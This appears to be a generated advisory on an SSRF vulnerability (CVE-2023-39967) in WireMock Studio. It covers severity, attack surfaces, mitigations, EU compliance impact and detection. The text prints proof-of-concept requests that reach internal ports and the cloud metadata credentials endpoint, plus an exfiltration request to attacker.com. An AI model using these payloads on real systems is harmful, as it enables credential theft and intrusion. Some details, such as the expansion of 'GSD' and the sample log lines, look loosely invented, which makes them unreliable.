Comprehensive Technical Analysis of EUVD-2023-43661 (CVE-2023-39967) – WireMock SSRF Vulnerability

1. Vulnerability Assessment and Severity Evaluation

Overview

EUVD-2023-43661 (CVE-2023-39967) is a Server-Side Request Forgery (SSRF) vulnerability in WireMock Studio, a tool for mocking HTTP services. The flaw allows attackers to craft malicious request URLs (e.g., @127.0.0.1:1234) that force WireMock to forward requests to arbitrary internal or external services, bypassing intended access controls.

CVSS v3.1 Severity Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the network.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Changed (C)	Impact extends beyond the vulnerable component (e.g., internal network access).
Confidentiality (C)	High (H)	Attackers can exfiltrate sensitive data from internal services.
Integrity (I)	High (H)	Attackers can modify data or execute unauthorized actions.
Availability (A)	High (H)	Attackers can disrupt services via crafted requests.
Base Score	10.0 (Critical)	Maximum severity due to unauthenticated remote exploitation with high impact.

EPSS Score (Exploit Prediction Scoring System)

• EPSS: 1.0% (Low probability of exploitation in the wild, but high impact if exploited).
• GSD-2023-39967 (GitHub Security Database) confirms the vulnerability’s existence and exploitability.

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2. Potential Attack Vectors and Exploitation Methods

Attack Vectors

The vulnerability manifests in three primary attack surfaces within WireMock Studio:

1. TestRequester Functionality

   • Attackers can inject malicious URLs (e.g., @127.0.0.1:22, @internal-service:8080) into test request configurations.
   • WireMock forwards these requests without proper validation, allowing access to internal services.

2. Webhooks

   • If WireMock is configured to trigger webhooks, attackers can manipulate the target URL to point to internal systems (e.g., @localhost:3306 for MySQL).
   • This enables data exfiltration or command execution if the target service is vulnerable.

3. Proxy Mode

   • When WireMock acts as a proxy, attackers can craft requests that force it to forward traffic to unintended destinations (e.g., @169.254.169.254 for AWS metadata service).
   • This can lead to cloud metadata exposure or lateral movement within a network.

Exploitation Methods

Basic SSRF Exploitation

1. Crafting Malicious Requests

   • Attackers send HTTP requests with specially formatted URLs:

     GET /__admin/requests/test?url=@127.0.0.1:22 HTTP/1.1
     Host: vulnerable-wiremock-instance
     

   • WireMock processes @127.0.0.1:22 as a valid target, forwarding the request to the SSH port.

2. Bypassing Restrictions

   • Attackers may use alternative representations of localhost:
     • @localhost
     • @0.0.0.0
     • @[::1] (IPv6)
     • DNS rebinding (e.g., attacker.com resolving to 127.0.0.1).

3. Chaining with Other Vulnerabilities

   • If internal services are vulnerable (e.g., Redis, Jenkins, or unauthenticated APIs), attackers can:
     • Exfiltrate sensitive data (e.g., AWS credentials, database contents).
     • Execute arbitrary commands (e.g., via Redis EVAL or Jenkins script console).
     • Pivot into internal networks (e.g., via SMB, RDP, or internal APIs).

Advanced Exploitation Scenarios

• Cloud Metadata Service Access

  • If WireMock runs in a cloud environment (AWS, GCP, Azure), attackers can query:

    GET /__admin/requests/test?url=@169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
    

  • This retrieves temporary AWS credentials, enabling further cloud compromise.

• Internal Network Scanning

  • Attackers can probe internal IPs (e.g., @192.168.1.1:80, @10.0.0.1:443) to discover hidden services.

• Data Exfiltration via Outbound Requests

  • If WireMock can reach external attacker-controlled servers, sensitive data can be exfiltrated via:

    GET /__admin/requests/test?url=@attacker.com/exfil?data=SENSITIVE_DATA HTTP/1.1
    

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3. Affected Systems and Software Versions

Impacted Product

• WireMock Studio (all versions)
  • Vendor: WireMock (GitHub: wiremock/wiremock)
  • Product ID (ENISA): eb905c01-f97d-3f3b-a243-9e6392116436
  • Vendor ID (ENISA): 5d2bb9c0-9fe4-313a-b320-9ebe69215be8

Scope of Impact

• Discontinued Product: WireMock Studio is no longer maintained, meaning no patches will be released.
• Deployment Scenarios:
  • On-premises (local development, CI/CD pipelines).
  • Cloud-based (AWS, GCP, Azure instances running WireMock).
  • Containerized environments (Docker, Kubernetes).

Unaffected Components

• WireMock (standalone) – The core WireMock library is not affected; only WireMock Studio is vulnerable.
• WireMock Cloud – The managed service is unaffected (per vendor advisory).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Decommission WireMock Studio

   • Since the product is end-of-life (EOL), organizations should immediately cease usage and migrate to alternatives.

2. Network-Level Protections

   • Firewall Rules:
     • Block outbound requests from WireMock instances to internal networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
     • Restrict access to cloud metadata services (169.254.169.254).
   • Network Segmentation:
     • Isolate WireMock instances in a DMZ or dedicated VLAN with strict egress filtering.

3. Application-Level Controls

   • Input Validation:
     • If migration is not immediately possible, implement strict URL validation to block @-prefixed or internal IPs.
   • Disable Dangerous Features:
     • Disable TestRequester, webhooks, and proxy mode if not required.

Long-Term Solutions

1. Migrate to Secure Alternatives

   • WireMock (standalone) – Use the core library with proper security configurations.
   • Postman Mock Servers – A secure alternative for API mocking.
   • Mockoon – Open-source, lightweight mock server with better security controls.
   • LocalStack – For AWS service mocking in secure environments.

2. Enhanced Monitoring & Logging

   • SIEM Integration:
     • Monitor WireMock logs for suspicious outbound requests (e.g., @127.0.0.1, @169.254.169.254).
   • Anomaly Detection:
     • Alert on unexpected internal service access from WireMock instances.

3. Zero Trust Architecture (ZTA)

   • Least Privilege Access:
     • Ensure WireMock instances run with minimal permissions (no access to internal databases, admin APIs).
   • Mutual TLS (mTLS):
     • Enforce client certificate authentication for WireMock interactions.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR (General Data Protection Regulation):
  • If WireMock is used in data processing pipelines, SSRF exploitation could lead to unauthorized data access, triggering GDPR Article 33 (data breach notification).
• NIS2 Directive (Network and Information Security):
  • Organizations in critical sectors (energy, healthcare, finance) must ensure secure development practices; continued use of EOL software may violate NIS2 requirements.
• DORA (Digital Operational Resilience Act):
  • Financial institutions must manage third-party risks; using unpatched software could lead to regulatory penalties.

Threat Landscape Implications

• Increased Attack Surface for Supply Chain Attacks
  • WireMock is often used in CI/CD pipelines; SSRF could enable supply chain poisoning (e.g., injecting malicious dependencies).
• Lateral Movement in Cloud Environments
  • If WireMock runs in cloud environments, SSRF can lead to cloud metadata exposure, enabling privilege escalation (e.g., AWS IAM role compromise).
• Exploitation by APT Groups
  • Advanced Persistent Threats (APTs) may leverage this vulnerability for initial access or data exfiltration in targeted attacks.

Recommendations for European Organizations

1. Conduct a Vulnerability Assessment
   • Scan for WireMock Studio instances in development, staging, and production environments.
2. Implement Compensating Controls
   • Use WAF (Web Application Firewall) rules to block SSRF attempts (e.g., @-prefixed URLs).
3. Engage with ENISA & National CSIRTs
   • Report incidents to national CERTs (e.g., CERT-EU, BSI in Germany, ANSSI in France).
4. Update Incident Response Plans
   • Include SSRF mitigation steps in IR playbooks for cloud and on-premises environments.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerability Type: Server-Side Request Forgery (SSRF) – CWE-918
• Code-Level Issue:
  • WireMock Studio failed to validate or sanitize user-supplied URLs in:
    • TestRequester functionality.
    • Webhook configurations.
    • Proxy mode forwarding rules.
  • The @ symbol in URLs was incorrectly parsed, allowing arbitrary host resolution.

Exploitation Proof of Concept (PoC)

Basic SSRF to Internal Service

GET /__admin/requests/test?url=@127.0.0.1:8080/admin HTTP/1.1
Host: vulnerable-wiremock-instance

• Expected Behavior: WireMock forwards the request to http://127.0.0.1:8080/admin.
• Impact: If an internal admin panel is exposed, attackers can access sensitive endpoints.

Cloud Metadata Exfiltration (AWS Example)

GET /__admin/requests/test?url=@169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: vulnerable-wiremock-instance

• Expected Behavior: WireMock retrieves AWS temporary credentials from the metadata service.
• Impact: Attackers gain persistent cloud access.

Detection & Forensics

Log Analysis

• Suspicious Log Entries:

  [2023-09-06 12:00:00] INFO  WireMock - Forwarding request to: @127.0.0.1:22
  [2023-09-06 12:00:01] INFO  WireMock - Received response from @169.254.169.254:200 OK
  

• Indicators of Compromise (IoCs):
  • Outbound requests to internal IPs (10.x.x.x, 192.168.x.x).
  • Requests to cloud metadata endpoints (169.254.169.254, metadata.google.internal).
  • Unusual HTTP methods (e.g., POST to internal services).

Network Traffic Analysis

• Wireshark/Zeek Filters:

  tcp.port == 8080 and http.request.uri contains "@"
  tcp.dst == 169.254.169.254
  

Hardening Recommendations

1. Disable Unused Features
   • Remove TestRequester, webhooks, and proxy mode if not required.
2. Implement URL Whitelisting
   • Only allow pre-approved domains in WireMock configurations.
3. Use a Reverse Proxy with SSRF Protection
   • Deploy Nginx/Apache with SSRF mitigation rules:

     location / {
         if ($request_uri ~* "@") {
             return 403;
         }
         proxy_pass http://wiremock;
     }
     

4. Container Security
   • Run WireMock in read-only containers with no network access to internal services.
   • Use seccomp profiles to restrict syscalls.

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Conclusion

EUVD-2023-43661 (CVE-2023-39967) represents a critical SSRF vulnerability in WireMock Studio, enabling unauthenticated remote attackers to access internal services, exfiltrate data, and pivot within networks. Given that the product is discontinued, organizations must immediately decommission affected instances and migrate to secure alternatives.

Key Takeaways for Security Teams: ✅ Decommission WireMock Studio – No patches will be released. ✅ Implement network-level controls – Block internal/SSRF-prone requests. ✅ Monitor for exploitation – Log and alert on suspicious outbound traffic. ✅ Migrate to secure alternatives – Use WireMock (standalone), Postman, or Mockoon. ✅ Assess compliance risks – Ensure GDPR/NIS2/DORA adherence.

Failure to mitigate this vulnerability could lead to data breaches, cloud compromise, and regulatory penalties, particularly in European critical infrastructure sectors.